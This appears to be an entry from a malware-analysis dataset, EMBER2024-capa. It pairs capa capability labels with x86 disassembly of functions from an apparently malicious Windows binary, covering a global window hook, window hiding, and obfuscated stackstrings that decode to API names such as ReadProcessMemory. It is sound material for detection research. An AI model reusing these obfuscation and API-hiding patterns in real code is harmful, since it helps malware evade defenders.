joyce8/EMBER2024-capa huggingface dataset:
Function at 0x449150
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4492fb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x4492dc
mov dl, 1
mov eax, dword [0x411758]
call fcn.004031f4
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00403f5c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x4492cb
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00437184
test al, al
je 0x4492be
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44930c
lea eax, [ebp - 0x254]
call fcn.004088f0
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4492be
xor eax, eax
push ebp
push 0x4492b7
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x449344
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4492a0
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004041cc
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x4492a0
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.004041cc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4492be
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x4491c1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00415234
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x449302
lea eax, [ebp - 0x260]
call fcn.00403f5c
ret

Function at 0x449c30
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x44fbb0]
cmp byte [eax + 0xa5], 0
jne 0x449ca1
cmp dword [0x44fbc8], 0
jne 0x449c62
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x449bec
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x44fbc8], eax
cmp dword [0x44fbc4], 0
jne 0x449c7d
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x44fbc4], eax
cmp dword [0x44fbcc], 0
jne 0x449ca1
push esp
push 0
push 0
push 0x449b90
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x44fbcc], eax
pop edx
ret
Function at 0x44a320
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x44fbb0]
cmp dword [eax + 0x30], 0
je 0x44a3ca
cmp dword [ebx + 0x94], 0
jne 0x44a3c4
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44a2b0
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44a3c4
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44a38a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44a3c4
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.004136a4
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44a399
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44af2c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44af61
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.0040404c
jmp 0x44af6e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403fb0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44bfd0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x44c011
mov eax, esi
call fcn.0043298c
test al, al
je 0x44c011
mov eax, dword [ebx + 0x84]
call fcn.0043272c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44c011
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043272c
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x403161
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x403161
lcall 0x5de5, 0x8b10c483
jmp loc.00791034
Function at 0x426a75
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x12
push 0
lea eax, [ebp - 0x1c]
push eax
call fcn.0042ee6e
add esp, 0xc
jb 0x426a90
mov esp, esp
xchg ecx, ecx
jg 0x426aac
pushf
shl esi, 0
rol ecx, 7
rol ecx, 0x19
popf
jg 0x426aa5
mov edi, edi
xchg ecx, ecx
jle 0x426aac
lcall 0x45c6, 0x53e445c6
bnd jo 0x426a7b
mov byte [ebp - 0x1c], 0x53
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 0x19], 0x65
inc ebp
out 0x65, eax
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x11], 0x4e
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0xc], 0x7a
mov byte [ebp - 0x16], 0x70
mov byte [ebp - 0x14], 0x66
mov byte [ebp - 0x1b], 0x66
mov byte [ebp - 0x12], 0x74
mov byte [ebp - 0x18], 0x51
mov byte [ebp - 0x15], 0x64
mov byte [ebp - 0x10], 0x66
mov byte [ebp - 0xf], 0x6e
mov byte [ebp - 0x1a], 0x62
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 0xb], 0
mov esp, esp
jmp 0x426af8
and ecx, ecx
cmc
jbe 0x426b14
jno 0x426aff
lea ebx, [ebx + 0x5a7e]
lea ebx, [ebx - 0x5a7e]
ja 0x426b0d
mov edx, edx
ja 0x426b14
mov edi, 0x4d8aa880
in al, 0x80
jmp 0xe48ff31e
mov cl, byte [ebp - 0x1c]
sub cl, 1
mov byte [ebp - 0x1c], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0x1a]
sub al, 1
mov byte [ebp - 0x1a], al
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x10]
sub dl, 1
mov byte [ebp - 0x10], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0x16]
sub dl, 1
mov byte [ebp - 0x16], dl
mov al, byte [ebp - 0x13]
sub al, 1
mov byte [ebp - 0x13], al
mov cl, byte [ebp - 0x12]
sub cl, 1
mov byte [ebp - 0x12], cl
mov dl, byte [ebp - 0x1b]
sub dl, 1
mov byte [ebp - 0x1b], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
mov cl, byte [ebp - 0x15]
sub cl, 1
mov byte [ebp - 0x15], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0xd]
sub al, 1
mov byte [ebp - 0xd], al
mov cl, byte [ebp - 0x19]
sub cl, 1
mov byte [ebp - 0x19], cl
mov dl, byte [ebp - 0x17]
sub dl, 1
mov byte [ebp - 0x17], dl
mov al, byte [ebp - 0xb]
sub al, 1
mov byte [ebp - 0xb], al
call fcn.0043437e
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x426bc2
xor eax, eax
jmp 0x426c36
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0043505f
mov dword [ebp - 4], eax
push 0x12
push 0
lea eax, [ebp - 0x1c]
push eax
call fcn.0042ee6e
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x426c34
xor ebx, 0
jns 0x426bf8
pushf
ja 0x426bf1
popf
jbe 0x426bf5
js 0x426bf8
call 0x523eb987
mov ecx, dword [ebp - 4]
push ecx
call fcn.0042d94c
add esp, 4
add esp, 0
nop
shl esp, 0
cmp ebx, 0x642e
jnp 0x426c1b
jns 0x426c15
js 0x426c17
jp 0x426c1b
mov esi, 0x18558bd8
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 4]
jmp 0x426c36
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4285a1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0xe
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0042ee6e
add esp, 0xc
xchg ecx, edi
xchg ecx, edi
ror esp, 0
rol esp, 0
jl 0x4285d5
pushf
sub esp, 0
cmp edi, dword [esp]
popf
jp 0x4285d2
jge 0x4285d5
mov eax, 0x7aec45c6
mov byte [ebp - 0x14], 0x7a
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0xf], 0x4a
mov byte [ebp - 0x10], 0x6e
mov byte [ebp - 0xd], 0x67
mov byte [ebp - 0x12], 0x75
mov byte [ebp - 0xb], 0
mov byte [ebp - 0x16], 0x75
mov byte [ebp - 0xc], 0x70
mov byte [ebp - 0x15], 0x54
mov byte [ebp - 0x11], 0x66
mov byte [ebp - 0xe], 0x6f
jno 0x42860f
jae 0x428618
jo 0x428613
jno 0x428615
jb 0x428618
mov esi, 0x80f44d8a
jmp 0xf4900e22
mov cl, byte [ebp - 0xc]
sub cl, 1
mov byte [ebp - 0xc], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0x17]
sub al, 1
mov byte [ebp - 0x17], al
mov cl, byte [ebp - 0x15]
sub cl, 1
mov byte [ebp - 0x15], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0x14]
sub al, 1
mov byte [ebp - 0x14], al
mov cl, byte [ebp - 0x12]
sub cl, 1
mov byte [ebp - 0x12], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0x10]
sub al, 1
mov byte [ebp - 0x10], al
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xd]
sub al, 1
mov byte [ebp - 0xd], al
mov cl, byte [ebp - 0x16]
sub cl, 1
mov byte [ebp - 0x16], cl
xchg ebx, ebx
xchg esp, esp
neg ecx
neg ecx
js 0x42869f
pushf
add eax, 0
popf
jno 0x42869c
jns 0x42869f
mov eax, 0xbcdae8
add byte [ecx + 0x7d83f845], cl
clc
add byte [ebp + 5], dh
call fcn.0043437e
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4286b2
jmp 0x428751
jb 0x4286b4
shr esp, 0
xor ebx, dword [esp]
xor ebx, dword [esp]
lea ecx, [ecx + 0x62ff]
lea ecx, [ecx - 0x62ff]
jbe 0x4286dd
pushf
cmp ebx, 0x4f4f
rol edx, 0
popf
jno 0x4286da
ja 0x4286dd
mov eax, 0x52e8558d
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.0043505f
mov dword [ebp - 4], eax
push 0xe
push 0
lea ecx, [ebp - 0x18]
push ecx
call fcn.0042ee6e
add esp, 0xc
jae 0x4286ff
cmp esi, dword [esp + 0xc]
jp 0x42871d
pushf
add esi, 0
shr esp, 0
xchg ecx, esi
xchg ecx, esi
add esp, 0
popf
ja 0x428718
xchg edi, eax
xchg edi, eax
jnp 0x42871d
mov edi, 0xfc7d83
cmp dword [ebp - 4], 0
jne 0x428725
jmp 0x428751
push edx
pop edx
jns 0x428729
js 0x428733
lea esi, [esi]
jns 0x42872f
jns 0x428733
mov ebp, 0xfc558b4c
mov edx, dword [ebp - 4]
push edx
call fcn.0042d94c
add esp, 4
js 0x428741
je 0x42874a
lea ecx, [ecx]
ja 0x428747
jne 0x42874a
jmp 0x504accd9
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x429377
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xc
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.0042ee6e
add esp, 0xc
je 0x429392
std
cld
xchg esp, esp
jnp 0x4293be
pushf
jmp 0x42939c
lea esi, [esi + 0x1bcc]
sub esi, 0x1bcc
xor ecx, 0x63ff
xor ecx, 0x63ff
popf
lea eax, [eax]
lea esp, [esp]
jp 0x4293be
mov ebp, 0x50ec45c6
mov byte [ebp - 0x14], 0x50
mov byte [ebp - 0xf], 0x73
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 0x13], 0x71
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 9], 0
mov byte [ebp - 0x12], 0x66
mov byte [ebp - 0xd], 0x64
mov byte [ebp - 0x11], 0x6f
mov byte [ebp - 0xc], 0x66
mov byte [ebp - 0x10], 0x51
mov byte [ebp - 0xb], 0x74
test edi, 0x1b26
jg 0x4293fe
nop
jle 0x4293f9
jle 0x4293fe
ljmp 0x80ec:0x4d8a0fb5
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 0x13]
sub cl, 1
mov byte [ebp - 0x13], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
call fcn.0043437e
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x429470
xor eax, eax
jmp 0x4294ee
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.0043505f
mov dword [ebp - 4], eax
push 0xc
push 0
lea edx, [ebp - 0x14]
push edx
call fcn.0042ee6e
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x4294ec
xchg ecx, ecx
call fcn.0042949d
xor eax, eax
Function at 0x42a3c7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
push 0x13
push 0
lea eax, [ebp - 0x20]
push eax
call fcn.0042ee6e
add esp, 0xc
and esp, 0xffffffff
js 0x42a402
pushf
ror esp, 0
jb 0x42a3ec
lea edi, [edi]
popf
popfd
ja 0x42a3f2
nop
lea eax, [eax + 0x7287]
lea eax, [eax - 0x7287]
jns 0x42a402
xor eax, 0x48e045c6
mov byte [ebp - 0x20], 0x48
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x16], 0x6a
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x1f], 0x66
mov byte [ebp - 0x1a], 0x76
mov byte [ebp - 0x14], 0x66
mov byte [ebp - 0x10], 0x66
mov byte [ebp - 0x1e], 0x75
mov byte [ebp - 0x19], 0x6d
mov byte [ebp - 0x15], 0x6d
mov byte [ebp - 0xf], 0x58
mov byte [ebp - 0x1d], 0x4e
mov byte [ebp - 0x18], 0x66
mov byte [ebp - 0x13], 0x4f
mov byte [ebp - 0xe], 0
mov byte [ebp - 0x1c], 0x70
mov byte [ebp - 0x17], 0x47
mov byte [ebp - 0x12], 0x62
jmp 0x42a450
shr ebx, 0
xor esp, 0
js 0x42a46b
lea ecx, [ecx + 0x7608]
lea ecx, [ecx - 0x7608]
mov edx, edx
jns 0x42a46b
add eax, 0x4d8ae9b1
loopne 0x42a3ef
mov cl, byte [ebp - 0x20]
sub cl, 1
mov byte [ebp - 0x20], cl
mov dl, byte [ebp - 0x1b]
sub dl, 1
mov byte [ebp - 0x1b], dl
mov al, byte [ebp - 0x16]
sub al, 1
mov byte [ebp - 0x16], al
mov cl, byte [ebp - 0x11]
sub cl, 1
mov byte [ebp - 0x11], cl
mov dl, byte [ebp - 0x1f]
sub dl, 1
mov byte [ebp - 0x1f], dl
mov al, byte [ebp - 0x1a]
sub al, 1
mov byte [ebp - 0x1a], al
mov cl, byte [ebp - 0x15]
sub cl, 1
mov byte [ebp - 0x15], cl
mov dl, byte [ebp - 0x10]
sub dl, 1
mov byte [ebp - 0x10], dl
mov al, byte [ebp - 0x1e]
sub al, 1
mov byte [ebp - 0x1e], al
mov cl, byte [ebp - 0x19]
sub cl, 1
mov byte [ebp - 0x19], cl
mov dl, byte [ebp - 0x14]
sub dl, 1
mov byte [ebp - 0x14], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
mov cl, byte [ebp - 0x1d]
sub cl, 1
mov byte [ebp - 0x1d], cl
mov dl, byte [ebp - 0x18]
sub dl, 1
mov byte [ebp - 0x18], dl
mov al, byte [ebp - 0x13]
sub al, 1
mov byte [ebp - 0x13], al
mov cl, byte [ebp - 0x1c]
sub cl, 1
mov byte [ebp - 0x1c], cl
mov dl, byte [ebp - 0x17]
sub dl, 1
mov byte [ebp - 0x17], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
or edi, 0
not esi
not esi
sub esp, 0
jl 0x42a51f
jmp 0xe0902c75
jne 0x42a515
jns 0x42a517
jmp 0x42a519
jnp 0x42a51b
jge 0x42a51f
xor eax, 0x9e5ae8c7
add byte [eax], al
call fcn.0043437e
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x42a534
xor eax, eax
jmp 0x42a7f3
not ebx
not ebx
jae 0x42a552
pushf
call fcn.0042a541
Function at 0x42aee0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push 0xc
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.0042ee6e
add esp, 0xc
add ebx, dword [esp]
sub ebx, dword [esp]
add esp, 0
jo 0x42af17
lea edi, [edi]
xchg ecx, ecx
je 0x42af11
xchg esp, esp
jno 0x42af17
mov ecx, 0xf045c675
dec esi
mov byte [ebp - 0x10], 0x4e
mov byte [ebp - 0xb], 0x68
mov byte [ebp - 0xf], 0x66
mov byte [ebp - 0xa], 0x66
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 9], 0x43
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 8], 0x70
mov byte [ebp - 0xc], 0x62
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], 0x42
mov byte [ebp - 5], 0
ror esp, 0
or esp, 0
jbe 0x42af5a
pushf
jg 0x42af53
popf
jl 0x42af57
ja 0x42af5a
mov esi, 0x80f04d8a
jmp 0xf0903764
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
mov cl, byte [ebp - 0xa]
sub cl, 1
mov byte [ebp - 0xa], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 9]
sub al, 1
mov byte [ebp - 9], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 8]
sub dl, 1
mov byte [ebp - 8], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 7]
sub cl, 1
mov byte [ebp - 7], cl
mov dl, byte [ebp - 6]
sub dl, 1
mov byte [ebp - 6], dl
ror esi, 0
jb 0x42afbf
cmp eax, dword [esp]
jle 0x42afd8
pushf
push edi
pop edi
call fcn.0042afcd
Function at 0x42c43a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0xe
push 0
lea eax, [ebp - 0x1c]
push eax
call fcn.0042ee6e
add esp, 0xc
cmc
jbe 0x42c45f
jns 0x42c458
xchg edi, edx
xchg edi, edx
ja 0x42c45f
add eax, 0x53e445c6
mov byte [ebp - 0x1c], 0x53
mov byte [ebp - 0x1b], 0x66
mov byte [ebp - 0x1a], 0x68
mov byte [ebp - 0x19], 0x50
mov byte [ebp - 0x18], 0x71
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], 0x4c
mov byte [ebp - 0x14], 0x66
mov byte [ebp - 0x13], 0x7a
mov byte [ebp - 0x12], 0x46
mov byte [ebp - 0x11], 0x79
mov byte [ebp - 0x10], 0x42
mov byte [ebp - 0xf], 0
neg ecx
neg ecx
lea ebx, [ebx + 0x5bb]
lea ebx, [ebx - 0x5bb]
lea esi, [esi]
add ebx, 0x3697
sub ebx, 0x3697
jbe 0x42c4c2
xchg esp, esp
jle 0x42c4bb
jge 0x42c4bd
xchg ebx, eax
xchg ebx, eax
ja 0x42c4c2
mov edx, 0x80e44d8a
jmp 0xe4904ccc
mov cl, byte [ebp - 0x1c]
sub cl, 1
mov byte [ebp - 0x1c], cl
mov dl, byte [ebp - 0x17]
sub dl, 1
mov byte [ebp - 0x17], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0x1b]
sub cl, 1
mov byte [ebp - 0x1b], cl
mov dl, byte [ebp - 0x16]
sub dl, 1
mov byte [ebp - 0x16], dl
mov al, byte [ebp - 0x11]
sub al, 1
mov byte [ebp - 0x11], al
mov cl, byte [ebp - 0x1a]
sub cl, 1
mov byte [ebp - 0x1a], cl
mov dl, byte [ebp - 0x15]
sub dl, 1
mov byte [ebp - 0x15], dl
mov al, byte [ebp - 0x10]
sub al, 1
mov byte [ebp - 0x10], al
mov cl, byte [ebp - 0x19]
sub cl, 1
mov byte [ebp - 0x19], cl
mov dl, byte [ebp - 0x14]
sub dl, 1
mov byte [ebp - 0x14], dl
mov al, byte [ebp - 0x18]
sub al, 1
mov byte [ebp - 0x18], al
mov cl, byte [ebp - 0x13]
sub cl, 1
mov byte [ebp - 0x13], cl
or edi, 0
or esi, esi
jg 0x42c54c
pushf
neg edi
neg edi
ror edx, 0
popf
jg 0x42c547
jns 0x42c549
jle 0x42c54c
mov edi, 0xffc024e8
dec dword [ecx + 0x7d83f845]
clc
add byte [ebp + 0xa], dh
call 0x428575
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x42c564
mov eax, 1
jmp 0x42c79e
nop
xor esi, 0
cmp ecx, dword [esp]
test ebx, 0x11d6
jno 0x42c57a
jbe 0x42c575
js 0x42c577
jo 0x42c57a
lcall 0x458b, 0x52e4558d
clc
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.0043505f
mov dword [ebp - 4], eax
push 0xe
push 0
lea ecx, [ebp - 0x1c]
push ecx
call fcn.0042ee6e
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x42c5aa
mov eax, 1
jmp 0x42c79e
xor eax, dword [esp + 0x10]
xor eax, dword [esp + 0x10]
mov edx, edx
jo 0x42c5cf
pushf
and esi, 0xffffffff
push edx
add edx, 0x540c
ror edx, 0xb
pop edx
popf
xchg esp, esp
xchg esp, esp
jno 0x42c5cf
mov ecx, 0x52fc558b
mov edx, dword [ebp - 4]
push edx
call fcn.0042d94c
add esp, 4
push 0xe
push 0
lea eax, [ebp - 0x1c]
push eax
call fcn.0042ee6e
add esp, 0xc
xor edi, 0
rol edi, 0
jb 0x42c60e
pushf
dec edx
inc edx
call fcn.0042c5fc
Function at 0x42f91c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xc
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.0042ee6e
add esp, 0xc
je 0x42f937
xor edi, dword [esp]
xor edi, dword [esp]
xor ecx, 0x7745
xor ecx, 0x7745
cmc
jge 0x42f951
mov edx, edx
jl 0x42f951
mov ebx, 0x46f045c6
mov byte [ebp - 0x10], 0x46
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 6], 0x74
mov byte [ebp - 0xf], 0x79
mov byte [ebp - 0xa], 0x70
mov byte [ebp - 5], 0
mov byte [ebp - 0xe], 0x6a
mov byte [ebp - 9], 0x64
mov byte [ebp - 0xd], 0x75
mov byte [ebp - 8], 0x66
mov byte [ebp - 0xc], 0x51
mov byte [ebp - 7], 0x74
jne 0x42f983
jge 0x42f994
jle 0x42f987
lea ebx, [ebx]
xchg ebx, esi
xchg ebx, esi
lea esp, [esp]
jl 0x42f994
mov ebx, 0xf04d8aa1
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 6]
sub al, 1
mov byte [ebp - 6], al
mov cl, byte [ebp - 0xf]
sub cl, 1
mov byte [ebp - 0xf], cl
mov dl, byte [ebp - 0xa]
sub dl, 1
mov byte [ebp - 0xa], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 9]
sub cl, 1
mov byte [ebp - 9], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 8]
sub al, 1
mov byte [ebp - 8], al
mov cl, byte [ebp - 0xc]
sub cl, 1
mov byte [ebp - 0xc], cl
mov dl, byte [ebp - 7]
sub dl, 1
mov byte [ebp - 7], dl
push ebx
add ebx, 0x6da
ror ebx, 0x1f
pop ebx
clc
jo 0x42fa02
cmp edx, 0x2abc
je 0x42fa15
je 0x42fa0c
nop
xchg ecx, edx
xchg ecx, edx
jne 0x42fa15
mov ebp, 0x4964e8e6
add byte [eax], al
call fcn.0043437e
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x42fa27
xor eax, eax
jmp 0x42fa6d
stc
cmp ebx, dword [esp + 0xc]
ror esi, 0
jg 0x42fa4a
pushf
cmp edx, dword [esp + 4]
jo 0x42fa39
popf
lea ebx, [ebx + 0x34c4]
lea ebx, [ebx - 0x34c4]
jle 0x42fa4a
mov edx, 0x50f0458d
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.0043505f
mov dword [ebp - 0x14], eax
push 0xc
push 0
lea edx, [ebp - 0x10]
push edx
call fcn.0042ee6e
add esp, 0xc
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42fa74
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xa
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.0042ee6e
add esp, 0xc
jp 0x42fa8f
xchg ecx, eax
xchg ecx, eax
lea ebx, [ebx]
jo 0x42fa95
jae 0x42faa1
jle 0x42fa99
lea eax, [eax]
ja 0x42fa9d
